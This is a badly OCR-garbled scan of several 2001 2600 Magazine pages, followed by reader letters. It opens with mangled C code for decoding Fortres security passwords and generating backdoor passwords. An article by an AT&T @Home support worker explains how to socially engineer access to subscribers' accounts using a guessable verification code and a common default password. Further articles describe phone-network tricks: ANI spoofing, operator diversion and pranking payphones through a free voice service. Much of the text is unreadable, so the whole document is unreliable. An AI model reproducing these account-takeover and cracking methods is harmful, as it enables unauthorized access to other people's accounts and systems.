FepdFidey FF1le, Ky, 111, Fewiesd, HOLL 0
SEN dwhead = LI
saszrn FALST,
JzzdFiled =File, Bulfor, 48, sdwlazd, ¥OLD
tEl dwimad 1z GHE |
reTich FALII;
[ocl L =70, § = 2: i Br Le-
putterli ! Fum! RoEEmsitio-Lo )
*omav[t o 1031 4,14 ErdxERy
Fuksar|16] « RuFEmT
auffexle]l = EuLE:
AzESHr | Bulle
Fuflerizll = Butbesisilg
[epl i 0; 3 = Jled sa Zofferld o 160; 440
sxTanEnars[1] OukEmris + LE7 & CX1B;
LL! gaFazawcrd[l - 11 '= "7
cruyEn FALRE;
s2Fasswardic - 11 = 407,
salozh TREUI;
{f AMTDLE :Fila - az apa:z Sila hazdle o AFFM3R.ZET
JF LFETR stPaazword - 3 polntec te o kubier backba Tilled with tle pasesced
¥ ENORD Awkikn - the lesorh of che buflsr pointed bo =% gifepsvocd
§F Taa retuicn waluye ig T3U8 iF kha pawawosd wodcacsesasloily deciphiced
EOJL ForbicSdd EZAKCLE hFile, LEBT5 ssTasswcrd. DWORL dwiesn |
CECED L, 1. Z#Feal:
OYTE Ouffwmzi45:];
Eeaibila | halle, EBolfer, 55, adwieas. HTLL 01 1
i+! duTaad 1. 455 " |
tonugz FALZE: '
ferl i D, g s 1 o« delgs fe dee, fpw 13 |
i |
dzbadewnsd[i] = ICBREMC Zuiierli]l - Pubtber 454 - 4, + 3 + 1 1 |
tfl orenlpsal mrPaxawos: L)
st ilicpperl saPasowasdicl 2 1
liwpoizt| wzFasawdsd[LD 01 i
brask:
i H
pxFaceecrdlil = 4Dy i
seTibn TAO8; 1
]
.................. —

———r e s e

2600 Magazine

.....?._.."_n:._mn_w Windows 93 meachinss. The

sysadmin fad the compaters setup 1o boot

~in D08 mode for this application. Auto-

CALY has & file managing ool thar allowed
an attacker to overwTite COMIIG.5YS and

- AUTORXEC.BAT with hackups. This is an

example of a miscoofiguration in the Givor
ol vaahility, something cvery sysadmin has

“tor du al one poinl ar aeother,

The code for genersting backdoor pass-
words was obiained by reverse engingering
a program sent to me by a friend. oo predty
sure he grabbed it off some warer site or
something.  The code for  deciphenog
Forres 3% passwords was wrirken exclu-
sively by my meveme engineenng of
FORTRES EXE. Whan | hegan [ know no
aszerobly - oow Tean bliodly pach banaries
without the help of & compiler, thanke to

“Pontees Grand Corposation. All the credir

for the Porlres 4.5 code soes to Frost_Byle

by milriis
Here's some mpzresing infoemation about

- ATET EHome. I have boon woerking for their

First Level Tech Support for o while now, In
this e 1 have gotten quite a kel ol koowledze
about the service and how AT&ET handles its
subseribers, Mow 1oould go inle grenl leoglh
abowt a fow ol theer poocedures and regulations,
bt T won't bore vou with oost of that We all

“know what wou're bere for, The down and
Cdiniy inlrrnarion. ATET & Hoane [Dor Fose

who don't kiecw this alresdy) s 2 cable mo-
dem metwork, In 1998 ATET porchased o
chain of cable companies called TCL T and

- Excite had & working pateership in the

Ehome seovice. Since then, ATET has pur-
claied MamYy, TGy T _mu_.ﬂqﬂ#ﬂ_"_n.._._" cathle
comparies for cahle mwsdarm and ceble TY rea-
aons. ATET iz truly coly indcrested in the
Amercan Cresnbock and Comoclion Lasoms

CATET & Haome has grows w large that ATET

{packetstorm.securi [y com 04
exploita/Forresd-analysistxe). [ only ran-
seribed 1t dnto O and optiroeed 103 ol
All symbols nosded are defined in win-
dows. b

I hope all of you find this infermation
iderestiog. Doubt sbould form in your
mind whenever hearing the words “secu-
ety s Windows™ in the same senfenoe.
A always, the information eapressed
within this arbicle 15 purely for hacking pur-
poecs. [ do not make any claim W the sccu-
vacy or correcingss of any of it This
infornation is provided “as 8" aod T am
ned responsible for any damages caused by
the rsuse of it In fact, forgel vou ever
read this amicle.

i bove you Sroph )

4% a8 A&

FPEdd AL ddd b bEEdhBaad LaBhEf bdd S bapdd ALl A b e b adbE P EA S S ddA LR PAd LEE N LLEEES AN

AT ST a Home

reatlly cean'L keep up with 15 oans service. 1L es
g0 large thar ATET outsowrces its Tech Sup-
port to the bighest bidders, 1 work for the
Largest uf the curppxanies.

Let's srart with the beginning of a pppical
all. [t should zo something like this

Apengy Vhank wea  for calling  ATET
& Hance, Can & hove the Tolepiione Numiler on
ke aocoy mleare !

Kb froe) xeroaoex

Agead: Thaes vou, Maw I oveelfy vonr full
sdiene oo odaress plepse?

Sty Fivsers adidnesy cond manoe

Agent: Ficglly can § have voee Persannd
Aceers Code ! [FAC)

Sube faives codef

This s arepodiant e know, 1F you ever
wishod o social cnpinoss wour way inoo somc-
one’s aocount this is whal ¥ Wil meexl, Gen-
erally, tha basie infeamation shoolkd e smple
o pot &nd ATET really docen'i care much
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apout it except for froal reasons. Whar thoy
b Do im verifeatsom is e PAC The P s
geoerally oo of a few things: mothor’s
mziden mamne, “_.._...._.z roarrer, Tast Tonr ."_..:..“m_..n of i
Social Security Morehor o account number,
aithowigh it i wsually the mesher™s maiden
rame, If for some redson vou cen't gacss the
PAC, ATET asks for either the logio 1D or mo-
i senizl mumbes, The Lo 10 s cather sy
Tast get their cmail addoess and there wou have
it Crmce wou veni By this inliemation for them,
il have acoess to their carire account witin
reison of The apent won'me lalking fo, Misd
agents aren’t too bright. They have do seorc a
il percent om 3 perere] Enowledge best to gox
the jab.

When you o=k to spesk to a supervisorn, von
are transfersed 0 oa secnon of @ call cenler
called Floor Support. These puvs ane no differ-
ent really Fromm any other Dock ad Jane on the
phomcs, Thew just et Sape calls. They can’t do
anylhing more tan we can, Save yourszll the
timz and stick with the frst persen you 121k 1o,
Cieneral ly i1 hoot 30 minates ok o0 B
agzent, just fo oo somcons Who can't do what
¥l wanl.

When someconc calls to ger installed with a
e ocinml, They are sl up wilh an aociuml
on that call, The wscrpamse, passwoed, and
B ame 2l crestesd ad that limme, Aot 70 per
cent of the time the password to a sub’s ac-
connl i st Cmssaami”T eilther in Bower or
apper. This veemanse &nd passoood is oeore
tham jusl scoess nozel somaore’™s emal fron
theo. Tt afeo loos them inte the @home Weh
FrLEe. Trrom kere, vou can i 2l ki ol
things. The @home page is bohind a proxy
server (hlfpeSiprog sy 8080 on the @ horne nel-
wiock ). Unless you are on the &home neteork.
wowwnn’ L have s lot of luck giing inowilfhoal
some work, However, If wou are oo the
i hame nelwork, Wl LR ._r_w TRl =CMrEOnE %
account from there. This kind of access
soaniecnie’s account can be dangeriaes (ATET
docs pothing to discourgge this cithas), Some
n.__.zu__._._...__n.... .n..._._I.._w« that couled ks elane frsm in
cide the Memhor Seovices: add 1Ps, create
armnai] avcounts (esch sccount can have sevend,
and ser ap MNet Mail and dialup scoviee.

Ceenting ap sedadifional M0 nrldrese You

coiald I theooy take that [F address and Cleeor
13 ared wse A for wioner raen prarpases,

Adding emoil @ocopars, Any peedy hacker
ceeds a fow boous cmall sccounts outside of
froe sorvioes | Botmanl, USAL and cchess)h, Sore
wivn Confd use a ..nn___.:.._..m__ S3TH 1 seml your
il from anywhere, bat s dways nioc to
Fsave soeplace w got I to.

Aot Mol allows yoa W0 check your il
from anywhers oo the wedr If wou had o
hacked eonarl zceount thar you added with e
Loxgin and Fass vion fuarel, i ol LI -
mously check i through & nice webpage b
miasks wour 1P address. Theoe are many who
cliv this.

Lot wp dialwp gooess, For 2 minimal 315
sgfup foc and 15 conis a minuic, vou cao dial
up o the 43 hoane seevice, Wo neod B say any-
thima mrome o his.

‘When you sre teanefemed up to Tier 2, they
bave a rather iotercsting ool they wee, s
called the manaa, Thies really makes me gag.
Both wath ils bexk melerence tooa gl mowie,
and its pee, When the ATET & Home software
is inszalled, it inscalls the macriss withour ask-
ing the wser of they want i Tr allows the T2
l=ch 1o Lake over a _..EE_.__._JA compiler, n_._“__._.w..u
sehings, nod fix problems. MNow [ don't know
rnch about the program other than what ir's
weed for, Bur [ don't ke n Perbaps sooeone
whir Ervvws 3 b more abead i1 oonld pess
something that gives befier detail {ie, whas
poot ie oses, and how ic's disablad remoreed).

The damages o a porson's account ang
encminogs when looking &t it frome this per
speclive, ATET really hasn't dome musch do s
itz pooblems with sacuritv, Lot alone the prob-
Lems with s expanding service. It seminds me
of what happened with AQL only 2 lew years
hick. ATET needs 1o take 2 sep back and fix
those obedous problems, At the price vou paw.
is i winth il knowing that yoor aceount s
ressly o Lhe plucking ab the harfs ol 3 mali-
cious criminal? Test think abot it

Showfs  fo rthe Darkewde  ceeve Toasn
seaadiniz, Morhid Ergel S0dizen, e #2000
FPAT et ) aeed ey sy fance Seli,
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AT &T Netwvwork

by Fachy22s
I zeoms that AT&T was not toe fond of iy

AN Spooling aicle that appeared in 2600

17:4, Tust a fesw days after it cama oar, | ssared
pricing 4 o of changes in Gie ATRT nesanrk,

- Flicst they shut off fheir 800 ANAC A fow days

farer calls thar wore rowed w BOATIT2ES by
the ¥erizon Long Mrhistance opembar wore ban-
dlead szrangzely. [ bezan noncieg that il | rmade
cadl thrizagh the Vereom Jong distanes operator
po S0-675-7 230 (800-0pcratec), T oooald place

S ralls o B0 numbers of on e ATET rehy nrk,

Laat that the AMI was Belng sont as “615-4930-
GETET or ANLIL Pair 25 Dollewed by arsa cods

AL Thas, ez2lls placed dhrouzh the Yerizen

Long Dizsance oporator o AT s B operator
ol ol b uset Lo specel AMI anymone. The
abS number belongs to a FBX owned by AT8T
in Bashvilie, Teanessee. |oould sl speasb AN
ot (hee ATET nedwrork iF T diverted throozh noy
local operator of varous other TOIUXX X lung
distance carrier opersiors, bt dhis Apeil it
stopped working, T soon Oguned oul whar wes
happeriag, AT&T has centers 21 zround the
counley inclhwding Alaska ond Haweadi. The way
58T works, deponding o whees you'ie calling
fromy, an ¥ nonke cen b mofed do vadoos

o Ather phaces, For exomple, there could be a ne-

tomwide 300 pumber Uzt alloss you oo cali

son who calls the same 200 gembe

car of Flonida That wes why when 1 had the
ATET operator dial an ANAC it wonld show
25004 (Flonds), However, ol all Yeriaom
Luong Distunce aperators ane based in Flogida, so
somenizngs whon [eallod 1'd gen the 615 nemibser.
Tz ATLT Center that transmiss that funny §13
rurmber should probably be vansauaog 23-013
arkd ol (QO-RT5 9859575, bt Tor whatever Tea-
sy, ATE T ks left i like thar.

The ATET Cenlers

As I mendoned, thers are various ATET cen-
ters thronzhout e cowntry, dad they are =l the
cerlers thal harclle dhe suiempted AT&ET _.a.__._w
Distance oporatcs servaces, a9 well as Bi0-czll-
20 and 30-cpertr. With the rew upgrade that
ATET is implementing (widespread aoross the
coiniey by oo, [ predicn} each cenler is geding
a [l makesver, There will Be no o moore AMT
spoofing o ATET cumbors. They are updanng
those cenlers So Ll vou can call any 80 num-
ber ibrough the ATET carrier, Colls oo S00-G73-
286 thar have an AN fal will po bonger use the
Phoee nureher you gmve as AND when n_.__“_m_._m
ciber toll frez rombers, Instead, AN D pair 23
and the wea code of the ATET center will he
usaid, Tirwsver, the Best part is thar you can
olace calls o el free pumbers without speaking
o an soeretor, Spsply dizl 10-10- ATTAN 1 10-
2E8-) and enter the ol frez number you want

pair 23 and the are cocle of the ATET

from anvwhers in the coemire. Bt & hﬁ._.‘ o call, Th ANE will show uzoas AN
)
.\ [}

from Flonda eould gel roated 10 rhat
business's office oo fhe cas coast
ard g porson wl calls foom Califor
nia iy el roatsd oo the ..u...nﬁ roast of -
fce. That's whet it's Lke when vou call
HOCHETE-T286, You wet nufed 0 the neansss
ATET center nesr vou to fake the call. So when
I'was making & call theough the Vedeon Long
Disrapse tpeTalor t SLETAT2EA T waonld zer
roicled to the Flocda ATET center bocause U
Werizon Lowg [Mstance operstor | ot was hassd

s

o

Center, Op diveming wilsol @wen
having o speak o he ap! Hlewever
youl will nodice thad i you toy poe dizl
- S00-call-art or B00-603- 7286 i1 will ap-
preier thet o AN 6l shoss up, This is
because these nombers are handled by the seme
ALET ceaper. However any wll free number nos
harmniled by the AT&T center (basically amy toll
fooo numober thar's oot used for ATET operater
services) will be processat with vour AN nor
_.ﬁ:._...u. rrarsmished
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Thare are a fow advanzages aod disndvaniages
of this mew systzm. The roly real disdvantage s
that yon carmal spascd AN anymacs. The advan-
tages, thoagh, ane that you can placs calis to hasi-
n..m_._.._.. 2 tall free nomber wou wish withoul vianr
AN Being paesed samaply By dizlmg 10-10-AT1<)
ard then pressing mothe el fooc owober vow
veant to call at b ATET proompt. Yoo can even
use thiz ot pay phones to call 1all free numbers
that don't allow pay phore calls o o gl eround
Ty phime suscharpes, Op diveriag ueed o be o
hard - local eps not wanting 2 belp woo cor, aed

IOI0NXY cammier ops only being able [ be
resched Mronn cotain pasts of the ceootoy, snd the
el dorwnside baing thas ven kad to talk 10 a0 ap-
eraior wha might lislen in by yoer call wlen bey-
ing b clivert ool frss nombers. But oow, thanks
wr AL&CT s new potwork thar vou can reach any-
where in the country by simply dialing 1010
FRE-0 or even juesk 3T oo Bave ATET. 1 sune
ATET Roegs your AN and probably woald ke
action 1 won were karassing g wll-free number
Lotg coough, bt for norar you can thick of 10-10
238-0 05 vour owen Tree AN blocking scovics,

A AN AN EE NI NN FEEEN T EEEN T EENNTEEENTEENANFEEETTREAAYTFEE SRS bR Edd R

d -3 A |

VE e =

==l

by Scrcamier Chaotis
screamer(Thackermind.net

Tell 3 as, ia thes wniec's opnion, & fansas-
tie new sepvics that has moee T=alunes than this
arlicle could ever cover. By diating [-200-555-
8355 {TELL) wou ane cormecled 1 a Tres, voice
aclivaled system. Provided & soivices such as
“phone booth,” allowing n person o make o Inee
ans mine cal | o vitoally snsewhens e te U,
“whiakc up CelL” which docs canctly what it suys
it does, is completely free of charge. And “Diri-
ving Direenions,” which iz very vseful if you
need B Azure our bow o gel somewhere while
yiw're on U mosd, Personally T wenld hate 1o
son anyons #bose this worcerlul secvice. b
nimethelass seane aws Go casl This amicle is
erscant to infroducs the readar 1o rhe poasitilities
priveided by the kind people a1 Tell Me. and is
oot for the pacposes of defrasding anyore.

Lines

The fust featare of wrecsst wionld ooost likely
b "Phone Booth,™ Call up Tell Me at S00-555-
W358 amd, wler @ boelf ad (which is the ondy
price you oead to pay), speak the words “FPhor:
Toolh™ at the proanpd. Tea®ll be suiomancally
vansfereed to this featune, which will then let
s catl any muinket in the U% thar voa wish.
Tl oely excopricos ane 200 numbers o ather

“pay per use” services, such as 800 nomibess that
lead 10 oparacoes. Onace your call is connected,
s v e minute e speak yoor sund before
@ verbal warning notifics vou that only 20 sec-
ondds remain, Whils slightly annoying, it can be
ineredildy wefol whoen you just wani to say hi
and don’ fesl like faking oot FRO0COLLRCTT

Sadty, if you doonot have a cellular phone
hamdy you won't be abls to make free calls away
Troen horene, due 10 Tell M wanuiag oo thar vaa
cannot call them from o payphone (should oo
iyl Luckily, this iosaaly comedisd. By pocss-
ing @ o ger the lecal operatos, yon can infirm
th=rn rthat the pavphone yow are curremily &1
wio't Lot woa dizl a t2ll fres nombern, Consider-
ing payphones are boand by Taw to privedds Lz,
the operates will ot give you any poohlens,
Tell them rhe number is SH-555-8355, 2l
vunilald Vo shboald luear e swect sound of the
Tell Me webeome message This is whers thines
slart e gef very iplecesting. Bul before [ show
yvou bow conain seoviees can be abased, 1 like
tn explain their pooper uses,

“Wake up Call” is cos of these pamicular fea-
rres, From there o canosel upe a weke up call
L oyower phoie aumber (enember, AN ells
thom whers yon’re calling Fnom 1 you're af a
dilTerent locaton, tey'll eaher say thar you
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”.w..n_nn_u e call in foom thas namber o they Ll give

A call Back. This can rnzke il Jifliculr for
poople to wake vp their best frcod's at 3 am...

bt oot enpensihle,

The: Jast featere will cover is the “Diriving
IHrections" How many osss have you been
Joal [n A sirenge cily wilh n_ﬁ_z_._m._..m. Bt sn o addoess
you'se Uyiog to rcach? Well, with Tell Me, all
Yol need Lo cdor is lind ovtl what pddress .1..1._..1_“

*gitng nex v and call theo ap. Ficso you pell the

“Diniving IMrvcbons" lealure what d=sfinatbon
wird wand b2 arrive ar, followod by your cerrent
It ..—u_.?._.__m Ierections™ will then 1211 vrar

- step by st=p how 1o ped to your target. which can
e extremicly uscdul.

Adhmescs
o As T meneaed carbier, the pooblem of Tell
‘Mz being reached by o payphone is solved by
wcalling throozh the local operator. Bul what can
he dome wiath this service thal would corsrifohe
‘an - aboseT Tor most eoferfainiog one that I've
coe up w15 sl with the = Wake wp Call”
featume, Seponee woo'ne ar g _.e._.._....nF__..u_... SOfpa-
rane building, or any other farge entiny that does
el wie COHFER. By first getting the number of
ihe payphone vou'ne an (if ic's not prioeed on the

phone iself. iy yeur kocal ANAC code © up hers

—artund vou will have po idea what's
CEoing oal Swe, tus is a chaldidh
.._“_u.m.._._m Lix aler, bt 3F Tell Me's _u__._.._w. [
Eumiby is pejocting coin bines, 1tk

ool b done, What T did do though,
- wElling an AMI readback nuamber,

2600 Magazine  Summer 2001
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in Connecticut it 970, vou can call through
ibe operator 1o get 0o Tell M. Mesn, Beg inoas a
Oew wser and el aowaks up call foo the Feit-
phone’s number at. say, 3 pon. Mow hang op and
0w oL B arolher phone. Once woua™ve godlen

@l the phanes set far wake up calls, stick ancood

ardd watch the chaos cnsue as they all rng ol
the hook =t the surre exact time, The pople

they're asking fur inonhls,

Whils not nesessanily an abose
s of ver, e “Plone Boolh™ lealune
doci have potential. Recentdy I've
tied calling operatoss thiough e
service, bul =s [ saicd showe this can-

i5 et the pansber for Tell Me™s car-
Parate affice. T was rather trivial,
BaL by ueing “Phons Booth™ znd

ot wind up pedting thedr area code ond number,
which shoakdn’t make it coo difficalt o God oot
where they're located. For those of you whe
don't want o go theeagh the peable, the number
15 RAO-SHE AR To all you crafly thinkers nos
there, ng, o can't have Tell Me call irself in an
endless Joop, At leass, T haven't bozn able 1o,

The “Liriving Derections” socnon hasn't ce-
ally beoen explmited, bat dies oller one lealune
that most woald nod recogrize as such, When
entering voor dostnanon, you crld chooss o
s the cany wame or dp ocde. I2wm, te com-
FaLe will read back rhe ity Uat corresporkis
weilh the wiven code, This can be very zzeful in
liguring out where a particobar zip code is. Un-
fommately | baven't had any feck with getting a
zip code when [ actuably namme Lhe city mmysetl.

L onchasion

s ireponiand b remember that Tell Me bas
hundreds of otber optieas, and T highly sugpest
vy call and oy oot this amazing nambes foc
youursclf, Alio offered are movie Hslingsire
views, wialher reparis, hlackjack {rever lost a
hand?h ard stock questes as well. Call them up
andd see what yiou can find, bt rememmber, I think
we shoald be pratefol fo them for providiog us
with rthis line. For that resson, please don’t
oecniEe 0o abase 1 This article has shown you
soqne Tan thangs that cas bBe done, and hapenelly
Lhisy will be changed in the Tuterg, Bur onsil chen
reat Tell M2 wilh respect, They might meke
youl listen do wds, bat dhat’s & litde berter than

R —————




Continued From Page 329
AT B werites Sen weleile von ey Sl fearrazeed ar the
| ecparve fmopes you e, rememher Phal codling aivive
Nows B Bl 0F By manen @ st aon Regonfiesy gf
baw povd woey oy fRind we Ruase On we sl ke aa
aAtuRdztes af prapageeda beieg v e doe, Even i
o g etk the fovrcfuiiang af e progagemda, i
axteienae et Be capoed dnd Coviddaindd GF W R
sl semly accomplirthing aodsiiEp

Dewr 25K:

Mo dio yow krow when the subseiibers Jic? Yoo
azll wasss mnney sendme copias of wour megarines
1o cead peeple

wrunl welch

Crreal. Sometning plid winny ks
[T 20

Hoa' (0 vou &ay 265077 a) *rwa thoosand six
hundsed”, Bl “levnly-sin Bondesd”, &) “Twa sy Tonn
sere, o) something ebse™ Ploase wrile ook seon, we
hmve a bt on thie

Blikk

Wauld you Bedieve ir's mever come we? Bring mog-
Arime peepte, we o Rase 2 arraally spead cus fsnc
Dear Jad:

1 awd b Crermany 2nd [ irove] from time o tioe
in he U5 Whenkewer [ 28] 3 nomis thar's nal valid
jand this happens a Tofh, [ gel some sirenge aris ces-
supizd Lot Al phews® nereork (k= ermor 18 inslead of
avoice message. Whsk kind of v ircerface is this? Ts
ir 2 kind of service mode or iy 31 G0 make e Sosiiensr
really Goad dhanedy™ Mevhe it eoald be mlerestiog o Sl
2l the diffenent icessses, baa an she ocher hand why
zare? Tr's fast inleresting Dacause imsles] ol ikgroving
e pfeans nerenek, he services are going down Gig
drein dbad user Iolerfans, Exe v pensive 1o make
rernoiiorad calis, i modemn jacks - ool S N a-
Lol aizpaets, and by fizding 2o ATET phooe wilk &
keyboard sl wpcemnly oo ) pepTiag,

@ Wlew o GO

i
B

ik . ) TR 2
2, i =

Binee et plioie omna-wses difrend e
HESTERETS 1L AMERER S T st olaal (s et
dnning WRICA rampaey B E I snds an 03y stepdy
@ e mavidn i e dialed an fevelia neesbes
Foere, frwoie! moke @ L7 reore prece 2 kave @ recand-
iop peoypde con wndsrsramd T wonld rache @ 1or siere
warpeg i cuvaesc CUITE wene sade Aty i pabdic places
iFrates wiere e o sonse ford of deanen, and 6 B
iy bite chiarping exfre for cally fo foli free riubers
frovm py plaveer mever bapponed. The firg! sfen da-
ward T ooy fhewe foiwatices O o anderiand and
b able re explaie fo arters why they're wejus bn e
sl place,

Drear 2600
T lathers ary rhyme of reasom gs Lo owhet DEC sem-
Imers ol gssmicialed wiah ponchacts oo the markel? Or i3
thece oo st naidilice: Dor DIPC bar codes? 1 figored §f
anpoces weekd Enow, vou guys woeld, Jusl conicas,
Thearss,

Kol

While there are aiffereer divds of [N seshalr,
T s e af nf ere fomiior with fand dhe gewed 2807
Grpns o U eove el Reve a 1T dipil semEen Cirs i
FAFITRETIAGN, The jEogr giv digics e the manafac
Turer koanifranon number wivioh © aoviened by che
Unirm Uode Counnil Fack cre af fhers numibers
reprersnis o mangDoiucer A stouflecters nan e @
G POABARY G AR agency thai avsims PG coder
e smelier comperded The wamzfaeneer i o chane
of the peat Fve mwrbers Clues B3 83058 ond war an-
stpmedd o s by oar masafacmren, WA In over v i
a vampary thot hords pur LT rades. The basr cigid
1A 07 e et giglt witdok s ¢ similar gxstees o sl
af credli cwrades e kT Aumrterr ane gddsd logerken
rhen muinplicd be 3 WEN call the subsona! A The
even ripice ane dhen added fepsbar inie B A e B oy
then added. The wembier mreded e moie he targl Gi-
viithie by JE 2 phe ofveckaum. S in owr e, we add
rheer wzeled rgerchers (TH S+ FHE1 T+ 82300 thew mliiply
B3 (3EA2=0EL  add the evom o numbers
[Ra2ady TeS=T6L ookd the paw sems Sogecher
{IRE =245 and Spure sut whor gumher s nesdlo
fo maczke that civisile Doy Tl (34 w300 dFar check
st 15 rAerere 8, Tie meembers on e e gy, Dnnde
Aeniet v cply b peniodicaly @ud fmdicae which i
an'rr Tedkimp o, The cuaen vover gays L2, meaning
ek FOp200E iemie 2 opsmemer) [0 dhove ourdeel
weren ¥ thers, we would Bave tie sare PG nombey
Jor teg ivsass il conll b o e siands ar e same
rivee aned that could confioss the Rel ot gl cpeespurees,

Lieae 2600

T owes Jouking i the boend menmdes of the
AP when athooght Bl me. Why fan’1 Cxre a boand
it o the consamer? [sn't the and 3eain busd-
ness Lo ke e Gonsuoncr bapys wath i poodoo 2rd
want oo purchase moce? I alse saol Uhal e MPAA
had & real legid rexsen 1o he esabfished b begim wilki
bacf weerms L0 Bave Roreons & spisneed relic that sonds

5 .n....x. un.“uﬂ.m__uqmﬁmnc.num_m“._@.n.uuﬁ._"._.mf

.......-... [ o u..r... wEaT o ...... ”.u..ﬂu_.T_.ﬂm
el N Bt e
EH F bl & B Lol |
Corporate Stupidity

Dheiar 2o

Ever since [ waried sering sl Uures TV als o
Cingnlar rafking abous the impomence of sell-expoes-
siomn 2ad acking poople the guestion, “What da woa
have w1 523" T hegan thinking abo whal 4 boesch of
corpooale brninwnsking BS il all soundsd like. Adler
all, vorporsic Ameriea and b federal governme
baith s=emn po use much the same Lctivs. D wbaneser
A rakies w per pengke on vomr side. Tell chem whabever
ihey wial b Dias 1 301 Bl bosr peodies moy. God
Emows yoil can mever have oo muany neilliong of cal-
Tars oo 1o msch poeearn, righe? Mot live it's anythizg s
me, Weve almeady socn it wirfy vonann and their 60
throwhkock thar co oped the prace sign. Just finther
gl ar meching 5 szcred, and all's fair in love @l
ceudil margins. Bul, gening s e poine, o Cingolar re
alby wames to Claim they vane sboul whal yoid have s
s, hers's oo very simple way to test the ceoviclions
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; ...”. .w.ﬁu. edeim bo haee, Yogn, w0l prosenhy gaessed. Some-

- gne regisrering wenwsingu ik om of marybe
| peescinzilndovesmoneymorethanresspeach gom

-~ ol not caly st baw mech their chinking s like
 thelr cupreabe wds, but woubd 3 teen Eoaw thar thece

e some of us wha doa'n bay inde every Tasl conaoate
qnet we Bezar or ooded. Avd, of i pamves out thas they end

- pp guing o entreme Tengilhs o s expressan,

- meonldr’t B he: least ket serprised.

: Th3 A1EET pHrdkdaiid
* Dngar 26N

: Hers L5 3 mesgaps Lo when | went (oo the nesd de

: * gne of ooy favorite radis sielioos - KSIO - o bisken

o Y andiy strcaming: "Trae to conlinuing unii-

 fminny ver Tights Besues relared m e streaming af re

Sl bevadcnst  poegramming  over  he  Dorernet
*jpeluding bsucs raganding demands for additonz] facs
“For the streaming of revardal wisic and radia com
*rarcials, we end our adverliseny ane Goroid 10 060
Cporerly disable oo stesanning. We apologine foc e
Cimernverience of (s istorruplice W arz: working
* writh bath e advertizers and the Becoerdizg Iodosiey
S Association ol Ameics 1 nnd a soluton o thoss

problens on quickly as possibls a0 (L W Can resure
© i pinctring " RS0 has oo be oo of e wildhest oa-

Lo miations in Cabilunia rhes's a peod thingh I0s haod

~for e i bedizve this wor of thing oould happen ar

o Cmoch a Mliberal” radie srarion!

Tony

O Regandiegs, 11T A conmmacial rhion e 2Ry A

- whieny po e greed and stupiding of the markeiploce,
- Iw phds oone, heie misiians SEEEHAATE 28 AEFCIMRLY
far s alrermanye forms of Intereed Eronsdoesniog o

oy Enewns Wl the commerciel siafions aee

hickeriap cver wl geds aeone FOREY, AORCONTEECIG)

obroadrasrerr com maake their presence folr witk Sie
o himd of peogrgetsiag dese rame comrrercio! swhides

o mameped i 2 oeer the pebils @lneaver,

- Dhear 2eoal:

Whilie [ wis poning aver my pev issue, [wss noad-

“ing the Bevers and oo Jetirey ariting about his

- partculer TASL experience in the postallanicn. Weur

- crenmenls o0 Yenizen's dealmg with the slealion £

right on. Many of e ILECS will prevent o refuse
- Tacilizie CLEC (Comgeoing Liwal Exchanpe Carrier,

like Ciwad, Morhpoing, Bhythms) 135 amd B5F o-

ey, Hawever acnmonglacs such a thing is naw, just

S owais, There is a new KL up for sppeaval From the
 Homss Cemumence Telacommemications sl
= which was jusl slaed Jog woning By e full commite:.

The kil is ca¥lsd the Tavric-Tingell Bl and iz essen
~lially serarss regelocion from the ILEC induosinics and
previy couch elinicsnes cveryrhing that the Telerom-

~ nwricarizns Aclof [R5 prosddied, LF the TLEDS wren't

= regulesad and forosd o provide loop servies e
“CLECy, than the andy D51 availzble will be through

erEron, SWDL Amerilech, and 1he oiher gianas of the

Cindestry, Chaiman Teadn is gooled as saying Thar
“Brogdband is a pesoees maorves chal does mok e rez-

< uhaliom, What it nocds is D iy m thrive”

- Bn, of you wane DAL, but don’t w0 po with

Wiz JErsr e, from experience, you don 'l then
comtact your Jocal ongresspersen, sspecially iF ey
rappen oo ke on the Tekatomeunicarions suhoammil-
R, wed woics woar opimion reganding ks Gill. I vou
Biappen 12 he a Coval subscriber, then vou cen o b
v pangressmenge.oomCoval and this aall provide
wasy infonealien an enciacting them Aoy wcher news
an this can he fouml gl weadsliepoms.com.

B & sponeschar poar buk adeguetc aralagy, the Cal-
ilrmia porser crisis was the resuh of a poor doocpule-
i implementztion, D you want poos kraodband e
by tbear ?

Newspimiy
Bm 2l

1 don'd ke if s Beand bas Crwest Cooumniics-
tians Taised fweir pay phooe cherps foom o bigh 35
aerls 1o S eone T vou gaws krow whyt

niihsin

Bevanre vy can. And [ wew ek thars crary,
check et e much @ st I ol & difEneni dnie
Jrow a poy phane when weing cnsh (done 20 b finmey
rhe mormal rate! ¥han yon consider ot T pecple
My Ghely 1o wee cask e rack a call moy ned hawe
rhair aum phone, credit cand, o even @ place 62 live,
irE apyalilng, And Rall Saudh has recenily araooned
thet {8 il sogve e dinsonnneing afl af inr pary phowes
Bairvemge they v junt mof profinabde Thark wight o the
entivg Bell Soaafl region will e OO0 Hell I i
¥l
Mhear 2600:

Wehem Y piss 2gaimst Corporle Auncoics Yo ger
venacked and i sorns vou've heen tarpeled. I ol
veear beiefs on the Food e, Moo had, make it as ex-
pengivs for them as possible! 1don'L bay Fond anyway
(neds b Food lewyers, due to crapoy prodod, mol
26551 Tn Facl just thisking abet i3, how aboot s
Gifamabontibe] counbersui? How abooi ractaiming
s o These defarse doliars the BFF paichead in Gy
the DeCES wil?

litre

Wi ol Tike aichiag heiren
Drear 26000
“Freedam's fasl anather wavd foc eoching feft
Jose”

[ 2m a small develapen §don't have a lot of money
in the honk f pay fimes oo W pay for lawyers, [ have
agmvad ta the BLLAS For all of the dewilopunent w0nds
2nd pperetig sysams that T ose, thecefors, [ doe’L ne-
#ly o 2y sodowany, © Baoss thioe servers 2od ooc
warkslartian, |2 =Ell paring Diell Finanes foe tem =T
dan™t really “wwn™ thezm sither. | really don’t hevs any-
thing oo bose by dabing 2 stand apairet the RIAAT oo
porae [ascasm - 2ezepr my Croslien, A5 an Amecioun,
[ oIl ke prosd B por ey Freedom on the line in the de-
ferse of fres spocch.

Where will we doaw e line? 16 T sl susoarisc
the cesearch, as 3dr Livingston e i his fnfelrors
colurmm, by saying “ne public wirsmnarking scheme
inrarded to thaar argving will spocesd,” om [ new 2
targed o the RIAAS beavy hand? Whes if T explain

- Summer 2001
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B i T T

why s SOMI technalogy w0’ wock? Will they try
even harder iy e e Should T pow 2350 be fraid o
sy anething critive] of twe RLAATY

Tam pod piving away propriciary infommaton. Tam
nog seealeng scllechal propeniy. [ am nor sevealices
ks seomels, What iF 1 had necideqally stembled

| zcruss chis f that 00 puble walsrmarking scherns

inreitced 10 thweet copying will succesd” an sy cwn
amd ld my friends? Whet gafer “hicg jsn’L eearing
any clathes™ gype of coomem sense should 1ee afipid
